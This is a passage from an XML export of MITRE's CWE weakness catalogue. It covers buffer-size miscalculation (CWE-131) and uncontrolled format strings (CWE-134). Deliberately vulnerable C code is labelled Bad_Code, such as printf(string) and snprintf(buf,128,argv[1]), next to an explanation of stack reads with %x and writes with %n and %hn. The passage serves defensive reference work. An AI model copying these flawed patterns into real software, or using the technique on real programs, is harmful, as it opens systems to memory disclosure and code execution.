						expanding "&gt;" to "&amp;gt;", etc.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0334</Observed_Example_Reference>
					          <Observed_Example_Description>expansion overflow: buffer overflow using
						wildcards</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0248</Observed_Example_Reference>
					          <Observed_Example_Description>expansion overflow: long pathname + glob =
						overflow</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0249</Observed_Example_Reference>
					          <Observed_Example_Description>expansion overflow: long pathname + glob =
						overflow</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0184</Observed_Example_Reference>
					          <Observed_Example_Description>special characters in argument are not properly
						expanded</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0434</Observed_Example_Reference>
					          <Observed_Example_Description>small length value leads to heap
						overflow</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1347</Observed_Example_Reference>
					          <Observed_Example_Description>multiple variants</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0490</Observed_Example_Reference>
					          <Observed_Example_Description>needs closer investigation, but probably
						expansion-based</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0940</Observed_Example_Reference>
					          <Observed_Example_Description>needs closer investigation, but probably
						expansion-based</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0599</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Language interpreter calculates wrong
						buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr
						? X : Y)" expression.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-18" Local_Reference_ID="R.131.1">
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>Niels Dekker</Reference_Author>
					          <Reference_Title>SafeInt</Reference_Title>
					          <Reference_Link>http://safeint.codeplex.com/</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.131.2">
					          <Reference_Author>Jason Lam</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 18 - Incorrect Calculation of Buffer
						Size</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-19</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/19/top-25-series-–-rank-18-–-incorrect-calculation-of-buffer-size/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-22" Local_Reference_ID="R.131.3">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Address Space Layout Randomization in Windows
						Vista</Reference_Title>
					          <Reference_Link>http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-25" Local_Reference_ID="R.131.4">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Understanding DEP as a mitigation technology part
						1</Reference_Title>
					          <Reference_Link>http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-29" Local_Reference_ID="R.131.5">
					          <Reference_Title>PaX</Reference_Title>
					          <Reference_Link>http://en.wikipedia.org/wiki/PaX</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.131.6">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.131.7">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 20, "Integer Overflows" Page 620</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.131.8">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.131.9">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Incrementing Pointers Incorrectly", Page
						401.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Other length calculation error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Allocate sufficient memory for an object</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Allocate sufficient memory for an object</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM35-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>100</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Maintenance_Notes,
						Relationships, Taxonomy_Mappings, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Likelihood_of_Exploit,
						Observed_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Detection_Factors, Maintenance_Notes, Potential_Mitigations,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Potential_Mitigations,
						References, Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Detection_Factors,
						Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Other Length Calculation
						Error</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="132" Name="DEPRECATED (Duplicate): Miscalculated Null Termination" Weakness_Abstraction="Base" Status="Deprecated">
			      <Description>
				        <Description_Summary>This entry has been deprecated because it was a duplicate of
					CWE-170. All content has been transferred to CWE-170.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Causal_Nature,
						Common_Consequences, Description, Likelihood_of_Exploit, Name,
						Relationships, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Miscalculated Null
						Termination</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="134" Name="Uncontrolled Format String" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses externally-controlled format strings in
					printf-style functions, which can lead to buffer overflows or data
					representation problems.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>865</Relationship_Target_ID>
					          <!--2011 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>133</Relationship_Target_ID>
					          <!--String Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>726</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A5 - Buffer Overflows-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>123</Relationship_Target_ID>
					          <!--Write-what-where Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="C"/>
					          <Language Prevalence="Often" Language_Name="C++"/>
					          <Language Prevalence="Rarely" Language_Name="Perl"/>
					          <Language_Class Language_Class_Description="Languages that support format strings"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>While Format String vulnerabilities typically fall under the Buffer
						Overflow category, technically they are not overflowed buffers. The Format
						String vulnerability is fairly new (circa 1999) and stems from the fact that
						there is no realistic way for a function that takes a variable number of
						arguments to determine just how many arguments were passed in. The most
						common functions that take a variable number of arguments, including
						C-runtime functions, are the printf() family of calls. The Format String
						problem appears in a number of ways. A *printf() call without a format
						specifier is dangerous and can be exploited. For example, printf(input); is
						exploitable, while printf(y, input); is not exploitable in that context. The
						result of the first call, used incorrectly, allows for an attacker to be
						able to peek at stack memory since the input string will be used as the
						format specifier. The attacker can stuff the input string with format
						specifiers and begin reading stack values, since the remaining parameters
						will be pulled from the stack. Worst case, this improper use may give away
						enough control to allow an arbitrary value (or values in the case of an
						exploit program) to be written into the memory of the running
						program.</Text>
					          <Text>Frequently targeted entities are file names, process names,
						identifiers.</Text>
					          <Text>Format string problems are a classic C/C++ issue that are now rare due to
						the ease of discovery. One main reason format string vulnerabilities can be
						exploited is due to the %n operator. The %n operator will write the number
						of characters, which have been printed by the format string therefore far,
						to the memory pointed to by its argument. Through skilled creation of a
						format string, a malicious user may use values on the stack to create a
						write-what-where condition. Once this is achieved, he can execute arbitrary
						code. Other operators can be used as well; for example, a %9999s operator
						could also trigger a buffer overflow, or when used in file-formatting
						functions like fprintf, it can generate a much larger output than
						intended.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>The programmer rarely intends for a format string to be user-controlled at
						all. This weakness is frequently introduced in code that constructs log
						messages, where a constant format string is omitted.</Text>
				        </Mode_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>In cases such as localization and internationalization, the
						language-specific message repositories could be an avenue for exploitation,
						but the format string issue would be resultant, since attacker control of
						those repositories would also allow modification of message length, format,
						and content.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Format string problems allow for information disclosure which can
							severely simplify exploitation of the program.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Format string problems can result in the execution of arbitrary
							code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Since format strings often occur in rarely-occurring erroneous
							conditions (e.g. for error message logging), they can be difficult to
							detect using black box methods. It is highly likely that many latent
							issues exist in executables that do not have associated source code (or
							equivalent source.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Limited</Method_Effectiveness>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Choose a language that is not subject to this flaw.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that all format string functions are passed a static string
							which cannot be controlled by the user and that the proper number of
							arguments are always sent to that function as well. If at all possible,
							use functions that do not support the %n operator in format strings.
							[R.134.1] [R.134.2]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Heed the warnings of compilers and linkers, since they may alert you
							to improper usage.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example is exploitable, due to the printf() call in
						the printWrapper() function. Note: The stack buffer was added to make
						exploitation more simple.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;stdio.h&gt;</Code>
							              <Code/>
							              <Code>void printWrapper(char *string) {</Code>
							              <Block>
								                <Code/>
								                <Code>printf(string);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main(int argc, char **argv) {</Code>
							              <Block>
								                <Code/>
								                <Code>char buf[5012];</Code>
								                <Code>memcpy(buf, argv[1], 5012);</Code>
								                <Code>printWrapper(argv[1]);</Code>
								                <Code>return (0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code copies a command line argument into a buffer
						using snprintf().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int main(int argc, char **argv){</Code>
							              <Block>
								                <Code>char buf[128];</Code>
								                <Code>...</Code>
								                <Code>snprintf(buf,128,argv[1]);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code allows an attacker to view the contents of the stack and
							write to the stack using a command line argument containing a sequence
							of formatting directives. The attacker can read from the stack by
							providing more formatting directives, such as %x, than the function
							takes as arguments to be formatted. (In this example, the function takes
							no arguments to be formatted.) By using the %n formatting directive, the
							attacker can write to the stack, causing snprintf() to write the number
							of bytes output thus far to the specified argument (rather than reading
							a value from the argument, which is the intended behavior). A
							sophisticated version of this attack will use four staggered writes to
							completely control the value of a pointer on the stack.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Certain implementations make more advanced attacks even easier by
						providing format directives that control the location in memory to read from
						or write to. An example of these directives is shown in the following code,
						written for glibc:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>printf("%d %d %1$d %1$d\n", 5, 9);</Code>
						            </Block>
						            <Text>This code produces the following output: 5 9 5 5 It is also possible
							to use half-writes (%hn) to accurately control arbitrary DWORDS in
							memory, which greatly reduces the complexity needed to execute an attack
							that would otherwise require four staggered writes, such as the one
							mentioned in the first example.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1825</Observed_Example_Reference>
					          <Observed_Example_Description>format string in Perl
						program</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0717</Observed_Example_Reference>
					          <Observed_Example_Description>format string in bad call to syslog
						function</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0573</Observed_Example_Reference>
					          <Observed_Example_Description>format string in bad call to syslog
						function</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1788</Observed_Example_Reference>
					          <Observed_Example_Description>format strings in NNTP server
						responses</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2480</Observed_Example_Reference>
					          <Observed_Example_Description>Format string vulnerability exploited by
						triggering errors or warnings, as demonstrated via format string
						specifiers in a .bmp filename.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2027</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: untrusted search path enabling resultant
						format string by loading malicious internationalization
						messages</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>logging</Functional_Area>
				        <Functional_Area>errors</Functional_Area>
				        <Functional_Area>general output</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Format string issues are under-studied for languages other than C. Memory
						or disk consumption, control flow or variable alteration, and data
						corruption may result from format string exploitation in applications
						written in other languages such as Perl, PHP, Python, etc.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Local_Reference_ID="R.134.1">
					          <Reference_Author>Steve Christey</Reference_Author>
					          <Reference_Title>Format String Vulnerabilities in Perl
						Programs</Reference_Title>
					          <Reference_Link>http://www.securityfocus.com/archive/1/418460/30/0/threaded</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.134.2">
					          <Reference_Author>Hal Burch</Reference_Author>
					          <Reference_Author>Robert C. Seacord</Reference_Author>
					          <Reference_Title>Programming Language Format String
						Vulnerabilities</Reference_Title>
					          <Reference_Link>http://www.ddj.com/dept/security/197002914</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.134.3">
					          <Reference_Author>Tim Newsham</Reference_Author>
					          <Reference_Title>Format String Attacks</Reference_Title>
					          <Reference_Publisher>Guardent</Reference_Publisher>
					          <Reference_PubDate>September 2000</Reference_PubDate>
					          <Reference_Link>http://www.thenewsh.com/~newsham/format-string-attacks.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.134.4">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 5, "Format String Bugs" Page 147</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.134.5">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 6: Format String Problems." Page 109</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.134.5">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "C Format Strings", Page 422.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Format string vulnerability</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Format String</Mapped_Node_Name>
				        </Taxonomy_Mapping>
